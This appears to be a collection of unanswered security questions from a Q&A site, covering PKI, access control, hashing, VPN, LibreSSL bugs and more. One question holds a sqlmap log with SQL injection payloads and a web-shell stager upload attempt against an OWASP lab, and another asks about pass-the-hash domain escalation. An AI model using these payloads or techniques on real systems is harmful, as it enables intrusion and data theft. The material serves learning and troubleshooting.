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After watching Black Hat's presentation on the fundamental problems with USB "security", I'm wondering if there's a way to do USB whitelisting in Linux. Is there currently a mechanism that will allow only a certain list of USB devices to actually load drivers and run on latest Linux kernels?
I may have been under the wrong impression on how servers should be setup and what certificates actually get sent over during the server hello certificate message. I came across this today from Symantec/VeriSign: Root installed on the server. For best practices, remove the self-signed root from the server. The certificate bundle should only include the certificate's public key, and the public key of any intermediate certificate authorities. Browsers will only trust certificates that resolve to roots that are already in their trust store, they will ignore a root certificate sent in the certificate bundle (otherwise, anyone could send any root). If this is true, and root cert does not need to be installed on the server, well, there goes what I thought I knew about proper server setup and how the chain gets validated back to the root. Then again, when I look back at this question, under Certificates and Authentication section of Thomas Pornin's answer it says: So the client is supposed to do the following: Get a certificate chain ending with the server's certificate. The Certificate message from the server is supposed to contain, precisely, such a chain. This says pretty much the opposite of the Symantec/VeriSign message above, unless I am misunderstanding something. So: Does a server need the complete chain installed, including the root? If not, what does a browser use to compare against for validation since the server won't be supplying its root cert during the handshake? Does it simply look at the identity cert and get it from there? (Like opening up an identity cert on your local machine, and seeing the full chain in the certification path?) Again if this is true what about stand-alone client apps that use SSL libraries? Will this depend on the application since it may have different path building methods to a trusted root vs a browser?
We're looking at hosting some of a client's existing applications in our environment. My current thinking is we will have an encrypted channel back to the client's network over which authentication and authorisation (as well as user traffic) will travel. This seems preferable to implementing my own IdM and then having to keep them in synch' with the client's directories. Any thoughts or alternative suggestions? Is this a good idea?
We're looking to host a number of client applications in our environment. Some of those will use crypto, e.g. for ssl or database encryption and obviously we'll need to manage keys for that. I am not sure whether I should ask the client for keys, which we will then hold on their behalf; with all the problems of co-ordinating with the client over revocation, replacement etc but with the advantage that they will be the client's keys and so will work as expected for their users (i.e. they will show the expected cert and not one of ours). Alternatively we could use our own keys but this would mean implementing a proper PKI, managing the full key/cert lifecycle, reassuring the client we're doing it right and of course to users they may look suspicious. But we have control. Really not sure which way to go, although I'm inclined towards having the client provide them. Any observations or recommendations? Am I missing a trick?
Context: I have a directory full of sensitive company files. I want to compare these files with a colleague at a remote location, without the need for a secure connection. Is it safe for me to publicly publish a list of the SHA-1 hashes of these files? I understand that it's impossible to reverse the hashing algorithm, but since the hashes are calculated from the original file, is there any chance that an attacker could perform some sort of a brute force attack to rebuild the original file? (Note that collisions in this case don't matter.) It's clearly impossible with a 20 page document, but could small files be vulnerable? What about if I used a more secure hashing algorithm, like SHA512? (I'm not very familiar with salting, but I think it wouldn't help in this situation because I don't care if an attacker identifies two files as the same, just if they identify the original contents.)
We currently run a Cisco ASA 5510 and a RSA token to authenticate users to our network for VPN access. The company is trying to start BYOD but would like to make sure that the PC has been approved by corporate before hitting our network. This is not something that is currently in place as anyone with an RSA token and Username/Password can install the cisco connect software on any PC they own and VPN in. We currently employ AD in our network, RSA, and the ASA5510 is the device serving the VPN connection. TL:DR, We would like to be able to effectively identify a users PC before allowing that PC (if its not authorized) to hit our network via VPN.
I have an intermediate and a root PKI certificate that I see were already imported into a computers (windows server 2003) certificate store. However both the intermediate and root certificates were placed in the 'Trusted Root Certification Authorities' certificates folder. That is obviously the appropriate place for the root certificate but not the intermediate certificate. Other then being in the wrong place aesthetically, will having the intermediate certificate in the 'wrong' folder cause failures or technical problems? In otherwords, are the folder locations just for organization, or do they affect functionality of the PKI certificates?
I came to know recently that HSMs are used in credit card processing on the server side but since I don't work in that space and stumped as to why its needed. I can see it used in an ATM machine - to encrypt data to be sent to the server for verification. But once its already inside the firewall would I not just query the card details from the DB, decrypt it and then compare with what I got over the wire and then send it over to my card processor. Why would I need a HSM in this path? EDIT: I understand how HSMs typically work. What I don't know is how they are used in payment processing. Can some one throw some light on that?
I'm fooling around with Wireshark to capture the activation packets for an iPhone and some other stuff, however the traffic is encrypted. There should be a private SSL key somewhere on my computer to decrypt this traffic, but I've spent hours trying to find it with no luck. I'm on OSX Mavericks, latest iTunes build. I'd be very grateful if someone could help out.
We run Exchange 2010. Our edge servers run "passive opportunistic TLS" for 99% of the domains we communicate with. For a handful of domains, we have forced TLS on both our end and the other domain's end. We're in the process of deploying a secure email gateway appliance. It will basically park your email message on the HTTPS-secured appliance and send a link to the recipient to create a username/password and log into the appliance to retrieve the message. For outbound email, what does this give us that TLS doesn't? Am I missing something here?
I can't get to upload the stager file on the OWASP BWA document root (/var/wwww/WackoPicko/users). I am not sure how to troubleshoot this error. root kali:~# sqlmap -u "http://x.x.x.x/WackoPicko/users/login.php" --data "username=hacker&password=password&submit=login" --os-shell -v 1 --flush-session sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [] starting at 11:22:25 [11:22:25] [INFO] testing connection to the target url [11:22:25] [INFO] heuristics detected web page charset 'None' sqlmap got a 303 redirect to 'http://x.x.x.x:80/WackoPicko/users/home.php'. Do you want to follow? [Y/n] Y redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] n [11:22:32] [INFO] heuristics detected web page charset 'ascii' [11:22:32] [INFO] testing if the url is stable, wait a few seconds [11:22:33] [WARNING] POST parameter 'username' does not appear dynamic [11:22:33] [WARNING] heuristic (parsing) test shows that POST parameter 'username' might not be injectable [11:22:33] [INFO] testing for SQL injection on POST parameter 'username' [11:22:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [11:22:33] [WARNING] reflective value(s) found and filtering out [11:22:33] [INFO] POST parameter 'username' is 'AND boolean-based blind - WHERE or HAVING clause' injectable [11:22:34] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' do you want to include all tests for 'MySQL' ignoring provided level (1) and risk (1)? [Y/n] n [11:22:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [11:22:45] [INFO] POST parameter 'username' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable [11:22:45] [INFO] testing 'MySQL inline queries' [11:22:45] [INFO] testing 'MySQL > 5.0.11 stacked queries' [11:22:45] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [11:22:55] [INFO] POST parameter 'username' is 'MySQL > 5.0.11 AND time-based blind' injectable [11:22:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [11:22:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found [11:22:56] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [11:22:56] [INFO] target url appears to have 9 columns in query injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y [11:23:01] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. --dbms=mysql) [11:23:01] [INFO] testing 'Generic UNION query (95) - 1 to 20 columns' POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection points with a total of 81 HTTP(s) requests: --- Place: POST Parameter: username Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: username=hacker' AND 3230=3230 AND 'YAZW'='YAZW&password=password&submit=login Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: username=hacker' AND (SELECT 1330 FROM(SELECT COUNT(),CONCAT(0x3a70636d3a,(SELECT (CASE WHEN (1330=1330) THEN 1 ELSE 0 END)),0x3a7364723a,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Dris'='Dris&password=password&submit=login Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: username=hacker' AND SLEEP(5) AND 'kgtY'='kgtY&password=password&submit=login --- [11:23:05] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 10.04 (Lucid Lynx) web application technology: PHP 5.3.2, Apache 2.2.14 back-end DBMS: MySQL 5.0 [11:23:05] [INFO] going to use a web backdoor for command prompt [11:23:05] [INFO] fingerprinting the back-end DBMS operating system [11:23:05] [INFO] the back-end DBMS operating system is Linux [11:23:05] [INFO] trying to upload the file stager which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default) \|> 4 [11:23:08] [WARNING] unable to retrieve automatically the web server document root do you want to provide a text file with a list of directories to try? [y/N] N please provide the web server document root [/var/www/]: /var/www/WackoPicko/users [11:23:26] [WARNING] unable to retrieve automatically any web server path please provide additional comma separated file paths to try to upload the agent inside the possible document: [11:23:32] [WARNING] unable to upload the file stager on '/var/www/WackoPicko/users' [11:23:32] [WARNING] unable to upload the file stager on '/var/www/WackoPicko/users/WackoPicko/users' [11:23:32] [WARNING] HTTP error codes detected during run: 404 (Not Found) - 2 times [11:23:32] [INFO] fetched data logged to text files under './output/x.x.x.x' [] shutting down at 11:23:32
I read about Chrome OS in the security section, and I was wondering what the meaning of "sandboxing" that they keep mentioning is. Is this sandboxing like Selinux or Apparmor ?
I have a Winforms app that users have to download and install on their machines. It connects to a WCF service(using SSL), hence requires the server certificate to be installed on users' Trusted Certification Authorities. Can anyone suggest the best practice for distributing a server certificate to allow users to download it from a website and install it on to their machines? Thanks.
I can see clearly how discretionary access control (DAC) works by checking the properties of a file on my MSWindows machine, the file has attributes and the owner of the file can do almost anything with it like making it available for everyone to read, transfer the ownership to an other user or even delete it However I cant find any visible example that I can actually see in a GUI that might help me to understand how mandatory access control (MAC) works? can I create a file under MAC? How does the file get its attributes? and how is it possible that I don't own it?
As an 'extension' to earlier questions on this topic (for instance here and here), What makes Firefox extensions (appear) more secure than Chrome extensions? Do they just appear to be more secure, or are they really? See also: Why do Chrome extensions need access to 'all my data' and 'browsing activity'? Worst case scenario, what can a Chrome extension do with "Your data on all websites" and "Your tabs and browsing activity"? Are official browser add-ons really safe? http://lifehacker.com/5990769/why-do-chrome-extensions-need-to-access-all-my-data https://support.google.com/chrome_webstore/answer/186213?hl=en-GB https://support.mozilla.org/en-US/kb/tips-assessing-safety-extension https://support.mozilla.org/en-US/kb/permission-request-messages-firefox-extensions
Is it technically or theoretically possible for any part of a mobile phone's circuitry to be still on and transmitting even while turned off and the battery has been removed? If so, how? I am thinking perhaps it could remain in a low power state and certain chips and capacitors could hold their charge for a while. Is this plausible or no? NB: this question is distinct and more specific than this question so it is not a duplicate.
I am currently beginning to studying the different security protocols and came across the SRP secure remote password protocol. I manage to understand the mathematic formulas behind it and the calculation but i do not understand the reason/purpose of using the "g" -> a generator of the multiplicative group. Why is "g" a static value why it should be predefined, why not dynamically assigned why is "g" has the value of 2 in the most implementations i.e. why not 3,4,5,6,7,8,.. what is so important about this parameter that it needs to be included into the calculation, what is the purpouse of the generator of the multiplicative group is there any special relation that i must be aware in the matematics what happens when g is 1 I have read the wikipedia definition of the Generators but i still do not understand what is the reason, WHY do we need to use them i.e. what happens when the group Z is cyclic, why is this an advantage or not.
Today malware is mainly spread thanks to vulnerabilities exploited in browsers and their plugins. The attackers use JavaScript to target those vulnerabilities. Two examples of such attacks are drive-by download and buffer and stack overflow attacks. What is the difference between these 2 attacks ? They seem to be similar to me according to what I read by now.
The only thing I know is that virus can get into the other programs and infect it whereas worms cannot attach itself to another program.
I have an application running on a server, that has an exposed socket to the Internet to communicate with client that is/are application(s) on a phone. How would one go about properly securing the access to the server, if one is not sure he could trust the client to store secrets? What I mean by not trusting, is that for example if I don't want to store symmetric encryption key on the device, and I'm not sure encrypting messages with public RSA key is good enough since someone could just repeat message to the server.. TSL on the other hand seems to be geared towards client recognizing whether he can trust some server.. What would be a good way to start implementing a secure access from the client towards the server, and server to be able authenticate the client ?
Suppose I save content into the database after sanitizing it. Is there still a need to sanitize it again when retrieving it? If yes, why?
Recently, we've been asked by Audit Dpt. to have financial risks controls in our ERP (fraud-like incidents). Our question is if this request is covered by the scope of Information Security Dept? If so, I think a set of tests should be developed with IT and Finance Dpt. So, What are the competencies of a Information Security Office related to financial risks? Is there any certification or academic path Information Security professional should follow in order to develop skills to respond to financial risks (like fraud)? Does CRISC cover this type of risks for instance?
If a company sends me a new password via SMS/email because I clicked "forgot my password." Does that mean the company is not actually hashing my passwords?
Two years ago a professional gang broke into the Bureau de Change next door during the night. One of the cameras was a small IP camera which I had advised them to install as I thought an off-site recording would be a good thing. However, they were so professional that they recognized the IP camera and covered their faces before they disabled it; we have seen the entire footage. They did not touch the main security cameras, but dipped the DVR to which all six cameras were connected into a bucket of water. The police have not managed to recover anything from the HDD. The whole thing makes me wonder whether it is wiser to try to scare intruders away by means of visible CCTV or using hidden cameras to catch them, as visible cameras only made the job easier for the thieves.
Windows 8 requires Fiddler to set up an exemption when sending traffic to localhost. Since this is a default setting (and affects many computers): What security benefit does this provide How can I list any exceptions that may be placed on my machine? (By Fiddler or any other similar software)
I am using OpenPGP and sending a signed, encrypted file with forced MDC (Modification Detection Code) over the network. In typical file transfer scenarios where security is not in picture, an md5 checksum of file being transferred is sometimes sent along with the original file which can be useful for error detection by comparing checksums. With signed, encrypted files with Modification Detection Code, process of decryption will immediate tell us if the file has been modified, whether accidentally or maliciously, because message integrity check would fail. With this feature of such encrypted files, is there still any benefit of sending checksum of the encrypted file along with the file? Note: For Modification Detection Code, see https://www.rfc-editor.org/rfc/rfc4880#page-51
I'm moderating a closed section of a forum - think 'covered by NDA' (not actually, but it's a good equivalent of the situation), with restricted access. Sometimes we find screenshots from that forum posted by some rogue user anonymously in places where they definitely shouldn't appear. And the screenshots being anonymous, with no discernable features, don't let us find the rogue and draw consequences. I'd like to learn of some way to affect page appearance so that a screenshot of it could be traced to the author of the screenshot - maybe some kind of steganography that can survive lightweight compression, or other inconspicious elements that would allow to identify, whose account these screenshots were made from? Specifically, possible to appear broadly enough that even a relatively small part of the screen (say, one post) is sufficient to identify the culprit? I tried "cooking my own" embedding something akin to low-contrast barcode in borders around posts, but it was neither inconspicious enough nor durable enough to survive 85% quality JPEG compression.
I'm building a small site which I would like to integrate with LinkedIn for authentication. LinkedIn says that redirect_uri's can be either http:// or https:// (not having to pay for a certificate is really awesome right now) Upon reviewing the OAuth2 spec, I can't wrap my head around the possibility of exchanging a token via plaintext as not being prone to vulnerabilities. I know this is a basic question, as I'm pretty new to the crypto world. And of course I know that such an obvious vulnerability (if existent) has been already addressed. The question is: how? How does the spec deal with the token being sent to the user agent in plain-text and redirected to the client in a potentially non-secure way?
I use public proxies a lot. I was wondering, is it possible that they can modify the html and send back malicious javascript, etc?
It's not that difficult to reset the password of the administrator account in MSWindows when you have local physical access to the machine Same thing applies on any Linux distro, it's possible to reset the root account password This means without encryption you have no security what soever on your PCs unless you make sure nobody has physical access to them. Isn't this considered as a major security issue?
We know that viruses and other threats can propagate through mail etc.But when any resource is shared,it is uploaded to the server and then shared.This means that the server does not take the responsibility of cleaning the uploaded files of viruses.Then how does it ensure self defense and secure the resources present on it and various services running on it?
Hello I want to know why this kind of example question never been asked before. I got this code from my college that they say this kind of code is able to prevent SQL injection. We use CodeIgniter to build a website and here is the code to prevent SQL injection. Controller: $usr = $this->input->post('userid'); $pwd = $this->input->post('passwd'); if($usr && $pwd) { $ack = $this->mAuth->get_user($usr); $pwx = $ack['passwd']; if($ack && $pwd == $pwx) { //redirect code } Model: public function get_user($user_id='', $status=1) { $user_id = $this->db->escape(trim($user_id)); $status = $status ? 'and user_status_uid = 1' : ''; $sql = "select * from users where user_id = lower($user_id)" return rst2Array($sql, 'row'); } I tried to login with 1' or 1 = 1 and etc, I found and it did prevent SQL injection even though it's only a plain text and password. Is there any vulnerability to this code? thanks
I wonder if the normal webmaster can get some information about SQL injection into their sites. I guess that it is written in some log, and only if you happen to see the logs you'll see that activity, am I wrong? Should the attacker be using some TOR proxy in order to be hidden when performing some tests, or it isn't as exposed as to be considered?
I am using the Scala Play web framework. In it, there is a PLAY_FLASH cookie used to flash messages to the user (it's a cookie so it will still work after several redirects). I put HTML in the cookie so I can include links, etc. Other details: The cookie is not HTTPS-only. I do not have a Content Security Policy. I do not have HTTP Strict Transport Security (yet). A pen testing team reported this: The PLAY_FLASH cookie can be used to XSS the user (e.g. through non-SSL MITM) Is this correct? You could certainly use the cookie for XSS if get man-in-the-middle. But if you get man-in-the-middle going, who cares about XSS? You have the keys to kingdom, at least for that user. Right?
Let's suppose that I have a router and three computers connected to Internet through that router. When I tried to get the external IP address for each computer, I got the same address. I think this is due to NAT translation. I want to know how a hacker can scan a specific computer of the three computers using nmap and get all information about that specific one.
For years, we've been receiving messages through our contact form in the following format: name: vlsyekcz email: jjthiy@toaagq.com subject: BdsQiWYlYo body: 2BLgIr <a href="http://aixfhxcynapd.com/">aixfhxcynapd</a>, [url=http://kfsriuqfsuer.com/]kfsriuqfsuer[/url], [link=http://lyiusjazrqvl.com/]lyiusjazrqvl[/link], http://hfxsdwgylvpa.com/ The contact form is a basic HTML with no anti-robot measures whatsoever (we want to maximize user-friendliness here; we don't believe we should make people who are looking for support jump through any additional hoops). We have, over the years, received many a hundreds (thousands? we didn't count them) messages like the above. All of them follow the exact same format, string lengths may vary a bit, but other than that, format stays the same. I've always thought that these messages send to see if a system is vulnerable for something. The URLs point to non-existing domains, so they can't check to see if any of the links get clicked. So, I thought it most likely they are checking our website to see if the unique random strings show up so that they then know that they can post spam messages or something close to that. But it doesn't make sense: if you want to post spam links, why not just post the spam directly and be done with it? I searched online, found: What is the purpose of "gibberish" comments posted to my blog? and decided to start monitoring our traffic log files. We have been monitoring for a month now, and the IP numbers that post those messages don't come back for anything else. From what we can tell, this is a fire-and-forget script (unless it is part of a larger bot-net of course; but it seems inefficient to delegate the checking to another node?). Also, as pointed out before, we have been receiving those message for years, so I would expect the system sending those messages to have learned that they have a 0% success rate by now... Does anyone know anything more about those messages? Are they generated by a known bot-net? Are they generated by some sort of spam tool/package? thanks, Monika
I have setup a new set of servers to test a software in Amazon EC2, and had set up my application. I've given it public access and a DNS entry, so its easily reachable by those that need to test it out. Today I've found the following in the application logs (beside from the regular application requests): GET /manager/html 404 2ms HEAD / 200 1ms - 2.65kb GET /manager/html 404 2ms GET /w00tw00t.at.blackhats.romanian.anti-sec:) 404 1ms GET /phpMyAdmin/scripts/setup.php 404 1ms GET /phpmyadmin/scripts/setup.php 404 0ms GET /pma/scripts/setup.php 404 1ms GET /myadmin/scripts/setup.php 404 1ms GET /MyAdmin/scripts/setup.php 404 1ms GET / 200 2ms - 2.65kb GET /w00tw00t.at.blackhats.romanian.anti-sec:) 404 1ms GET /phpMyAdmin/scripts/setup.php 404 1ms GET /phpmyadmin/scripts/setup.php 404 0ms GET /pma/scripts/setup.php 404 1ms GET /myadmin/scripts/setup.php 404 1ms GET /MyAdmin/scripts/setup.php 404 1ms GET /manager/html 404 2ms I've been reading about software that makes these types of requests, and it seems to be just an automated tool to find vulnerabilities in the system. Now, I know that only me and a second person have ever accessed this service, it is not published or mentioned anywhere else but Amazon. I also know that none of us is running vulnerability checking against the application. So I wanted to know before I raise alarms, am I or this other person infected by malware?
Forgive me if this question seems a little "under the hood", but I think it's important to know from a security point of view. I see SPOOLSV.EXE runs with print driver DLLs (Type 3 - User Mode, I know) loaded into the process under the security principal NT AUTH\SYSTEM. Doesn't this mean print drivers can pretty much do whatever they want? Is there a way to run them in more restricted context? Think Print Server that doubles as domain controller... Thanks.
Im using a website and somehow they can find out that i am using a proxy. My first question is how can they do. How can they find out this? And Second what can i do i mean how can i hide my self, is there any way that i use proxy and they can not catch me? what i think is they have some famous proxies's ip or whatever and i am using one of them, am i right? Thanks
We are implementing https with a third-vendor SSL library in our embedded system. Because of the chosen small public exponent in RSA 2048, encryption is much faster (approx 120ms) than decryption (approx 3100ms). Could we exchange the public and the private exponent after key generation? That would shift the heavy lifting to the client (usually a PC) and makes it easier for our embedded system. I don't know, if there are some restrictions e.g. in certificate structure what forbids this.
The same-origin policy is one of the most important security feature in our browser. It basically provides sandboxing for our applications which is protecting our users. Desktop application can read anything on your computer. If you install a malicious application by error, it might start reading files that you don't really want to share with it on your computer. For example, it could steal your cookie (with enough permission?) and impersonate you on website. So, I was wondering : Is there something like same-origin policy for desktop application? It seems that it would solve so many security problems on desktop. Currently, if you visit a malicious website, for example a website impersonating google, you are not compromised forever. When you leave the malicious website, you are fine again. If you didn't do anything dangerous on it, such as typing your google login information, then nothing bad happened to you. On the contrary, if you install a malicious desktop application, which I see as the equivalent to loading a malicious web page, all your data and system is compromised. Often, you might need to completely format then reinstall everything on your computer to get rid of that malicious application (virus). It seems for me that if any application, including virus, were limited by same-origin policy by default, you could install many virus on your computer, which unaware user often do just like they visit malicious webpage often, and you would still be fine. Other useful questions Why aren't applications sandboxed in Windows? How can I restrict what an application can do with my computer?
A few days ago I installed OSX 10.8 on a clean disk, and moved some of the old apps and data form the old to the new one. I've noticed that Chrome exibited an odd behaviour: when clicking some links, it opened and immediately closed a new tab, then it correctly displayed the new page. I've tried in incognito and it didn't happen, so I've proceeded to disable all extensions and it didn't happen, I've re-enabled them all one by one and it still doesn't happen anymore. What can I do now, in order to discover if it was just an odd bug or something more worrying? In case it wasn't obvious, I have no clue which kinds of links triggered this behaviour.
In an internal network, all machines are firewalled from each other. The firewall has port scan detection and blocking mechanism (say, psd module of iptables). Question: What are the ways I can block internal port scans while avoiding DoS threat? Say, an internal attacker might impersonate/spoof the domain server's IP address while port scanning the network and get the domain server's IP blocked on the firewall. How do I avoid that? I know that IP spoofing attacks from outside trying to impersonate internal address (and vice-versa) can be prevented via ingress/egress filtering. But what about only internal addresses? Another way to prevent this is TCP packet numbering (same Wikipedia link). But what about non-TCP scans? What other strategies are available?
I have installed the "md5sum" utility on my Mac and there was also a "md5" binary pre-installed in /sbin. My problem and question is this: "Isn't MD5 a standard algorithm?" Because I get different hashes for a string using these utilities Are there any differences in these utilities' implementations? Example: Mehdi-MacBook-Pro:~ mehdi$ md5 -s Hello MD5 ("Hello") = 8b1a9953c4611296a827abf8c47804d7 Mehdi-MacBook-Pro:~ mehdi$ echo Hello \| md5sum 09f7e02f1290be211da707a266f153b3 -
Why do some sites recommend "letters, numbers, and special characters" in a username or User ID? When creating a User ID at the www.discovercard.com website, the "User ID Strength" indicator meter bar indicates that a User ID is "weak" unless it includes letters, numbers, and special characters. (It looks similar to the "password strength" indicator bar I see when I change my password).
If one uses a passphrase which is grammatical, such as "I put my keys under the doormat because they're safe there."... how many words (on average) must it contain to be as secure as a password with ~ 14 characters, such as 28fjha9;582g-jg ? (say we allow 26 lowercase, 26 capital, 10 digits and 10 punctuation, so total of 72). I've heard people say that only a few thousand English words are commonly used, so let's say that there are 5000 possible words. If the passphrase were not grammatical, then using 8 words would give us better entropy than a 14-character password (assuming the words weren't all super short). 5000^8 = 3.90610^29 and 72^14 = 1.00610^26 However, if our passphrase is grammatical, I would think this severely restricts the number of combinations. Given this restriction on the passphrase, how long does it need to be in order to be as secure as a 14-digit password randomly composed of ~ 72 characters? What about if we apply some restriction on the password as well, expecting that it will be mostly composed of dictionary words and a few extra characters? EDIT: I just realized my calculation of 5000^8 also doesn't take into account punctuation and capital letters, so presumably it would be much better than that.
Does anyone know what the status of the "Valicert Class 2 Validation Authority" root certificate is or what's going on with Valicert in general? I've heard that that cert has been deprecated, no longer honored, revoked, whatever. I got it from GoDaddy a while back and it cross-certifies to the Valicert root. It just seems to work sometimes and then sometimes I get folks tell me they have problems accessing my site. It is still on the GoDaddy root repository page but it's considered "legacy". I've been round and round with a GoDaddy rep on this and have now wasted 2 hours of my life. I really don't want to replace it if I don't have to. But I also noticed that its no longer being kept in the Windows trusted root cert store, which isn't a good sign. At least on my computer.
I have a few questions, all relating to the title. 1) Is it possible to configure a server to receive the cookies using https but then serve all the content with http? 2) Does SE do this / do many sites do this? 3) Is it less costly on the CPU to only do the cookies over HTTPS? 4) Are there any security risks to doing it this way as opposed to all over HTTPS? I'm not very experienced in this area, so my apologies if I've made some incorrect assumptions.
I started learning hobbyist penetration testing a while ago, and as far as penetrating a computer I have physical access to, all is good. Mainly using Hiren bootCD, it is easy to gain access to an local administrator account, if nothing else then through offline cracking of the poorly encrypted local passwords. However, once I have secured access to the local admin account, I do not know how to continue on. The MsCache is strong, and rarely contains anything worthwhile, I even read that most good admins turn caching off. The most promising things I have seen so far was the pass-the-hash toolkit, based on dumping LSA secrets, which promised to "compromise a whole Windows domain after compromising a single machine that was a member of that domain." However, that failed to work on the Vista domain I am pentesting right now. What are the general strategies in this situation? What are the specific ones?
I am operating in a guest account of Windows 7. Could an attacker that got onto my PC through malware I installed, install a video program that records everything I do and send the result back to his server without knowing my admin password in the first place? The reason why I am asking this is that for some actions, i.e. system backups, it does not seem enough sometimes to copy and paste the password from KeePassX, but I need to show the password unencrypted first in KeePassX and copy and paste it that way.
So I understand roles vs permissions. I also understand roles vs claims. In both cases claims and permissions are granular, usually per feature or business operation such as AddPerson permission. I've been learning about claims based authorization and the examples that show how it's "better" and it's usually comparing it against role based authorization. Obviously it is better because that's the wrong way to use roles as you should be using permissions as a mapping between operations and roles. What is the distinction between claims based and permission based authorization? (note permissions are different from roles, so this is not a duplicate of the Role vs Claim question) In both it seems you have granular permissions/claims. So far the concrete examples I've seen of claims are really close to what I would conceptualize as permissions. An example I see with claims is the Add/Person claim, and certainly I would have similar with a permission as a AddPerson permission. I find usually I have a business layer with single entry points for things like this and every feature/entry point requires a permission. In both cases the rational for permissions/claims is that over time a particular identity or role might change in terms of what things it is allowed to do. And if you've hardcoded checks for that role within your application, you have to make code changes to accommodate, but if you've used claims/permissions then it is simply an administrative matter of changing what the role is associated with. So both seem to carry the same benefits. I ask this question not to sound like I'm challenging the idea of claims. Instead I know I will probably have a better concept of claims if I understood more clearly what makes them stand apart from permissions.
The code that I have is: <input type="text" name="some_name" value="<?php echo CHtml::encode($str); ?>" /> $str is the input data. 'CHtml::encode()' is Yii's way of encoding special characters into HTML entities. Can this be bypassed? I know it can be broken if I do not put those double quotes around the input. But I do not think just by putting double quotes around will make it unbreakable.
I have lost my modem to use the internet and I am starting university next week. There is Wi-Fi available to the students in the university, but I'm worried about the risk of using it. Can other good computer students using the same Wi-Fi hack and see what I am using? If there is a risk, what should I avoid using? Is using Facebook risky? (My Facebook account is very confidential for me, I don't want anyone to see anything in it.) Also, am I at risk when entering credit card information when I have to buy something online over Wi-Fi? I'm not worried about using it to download movies, etc., but even while using for that does anyone have access to my computer?
It's pretty common among security-minded folks to fill in addresses using e.g. foo+company@gmail.com when disclosing their email address to company so that they can tell if company has sold their address if they start getting spam. But is it just me, or is this pointless? It literally takes only one regex substitution to strip out the +company portion, and once that's done, the email address is bare. And from the point of view of a spammer, I don't see why this wouldn't be done. Am I missing something? Is this actually effective? Why/why not?
I read a recent article on a Chinese phone manufacturer on Wall Street Journal that says: The rumors had begun when a user posted online in mid-July that his RedMi Note smartphone was “secretly” connecting to a server in Beijing, although he had turned off the data backup functions. The server was connecting to his phone’s media storage application, so he believed his photos and other data were being sent to Beijing. With consumers already wary in general about data privacy, the allegations took off across the Internet For desktop computers, if you have some knowledge on firewall, it is easy to track outbound connections by logging network packets and checking their destination IPs. But for mobile phones where installation of such intrusive software may require rooting the phone and installation of some specialized software, is there any easy way for the less technologically inclined users to find out if their phone is secretly transmitting their personal data?
From: https://marc.info/?l=openbsd-announce&m=140752800525709 The announcement: We have released LibreSSL 2.0.5, which should be arriving in the LibreSSL directory of an OpenBSD mirror near you. This version forward-ports security fixes from OpenSSL 1.0.1i, including fixes for the following CVEs: CVE-2014-3506 CVE-2014-3507 CVE-2014-3508 (partially vulnerable) CVE-2014-3509 CVE-2014-3510 CVE-2014-3511 LibreSSL 2.0.4 was not found vulnerable to the following CVEs: CVE-2014-5139 CVE-2014-3512 CVE-2014-3505 We welcome feedback and support from the community as we continue to work on LibreSSL. Thank you, Brent Our question is: Why wasn't LibreSSL affected by the CVE-2014-5139, CVE-2014-3512, CVE-2014-3505 and only partially vulnerable for: CVE-2014-3508? Can someone please explain in short? The OpenSSL Security Advisory Link: https://www.openssl.org/news/secadv_20140806.txt
From the article LibreSSL's PRNG is Unsafe on Linux. The first version of LibreSSL portable, 2.0.0, was released a few days ago (followed soon after by 2.0.1). Despite the 2.0.x version numbers, these are only preview releases and shouldn't be used in production yet, but have been released to solicit testing and feedback. After testing and examining the codebase, my feedback is that the LibreSSL PRNG is not robust on Linux and is less safe than the OpenSSL PRNG that it replaced. Consider a test program, fork_rand. When linked with OpenSSL, two different calls to RAND_bytes return different data, as expected: $ cc -o fork_rand fork_rand.c -lcrypto $ ./fork_rand Grandparent (PID = 2735) random bytes = f05a5e107f5ec880adaeead26cfff164e778bab8e5a44bdf521e1445a5758595 Grandchild (PID = 2735) random bytes = 03688e9834f1c020765c8c5ed2e7a50cdd324648ca36652523d1d71ec06199de When the same program is linked with LibreSSL, two different calls to RAND_bytes return the same data, which is a catastrophic failure of the PRNG: $ cc -o fork_rand fork_rand.c libressl-2.0.1/crypto/.libs/libcrypto.a -lrt $ ./fork_rand Grandparent (PID = 2728) random bytes = f5093dc49bc9527d6d8c3864be364368780ae1ed190ca0798bf2d39ced29b88c Grandchild (PID = 2728) random bytes = f5093dc49bc9527d6d8c3864be364368780ae1ed190ca0798bf2d39ced29b88c And: Unfortunately, when I suggested the second change on Hacker News, a LibreSSL developer replied: The presence or need for a [RAND_poll] function should be considered a serious design flaw. Question: Is this bug a design flaw in Linux or was this an error that the LibreSSL devs made?
I have come across the following question in a Security+ exam guide You are tasked with creating a high-security authentication system for physical access control to a military installation. Which of the following authentication systems would be most appropriate? Biometric eye scan Security badge Smart card and PIN Encrypted login and password The answer at the end of the chapter was: For high-security installations, biometrics is an extremely secure method to authenticate users based on unique physical characteristics. My question is How is it possible the answer was not number 3? Bad guys will have to steal the smart card and somehow get the PIN from the authorized personal which is TWO jobs while in a biometric eye scan they have to do ONE job
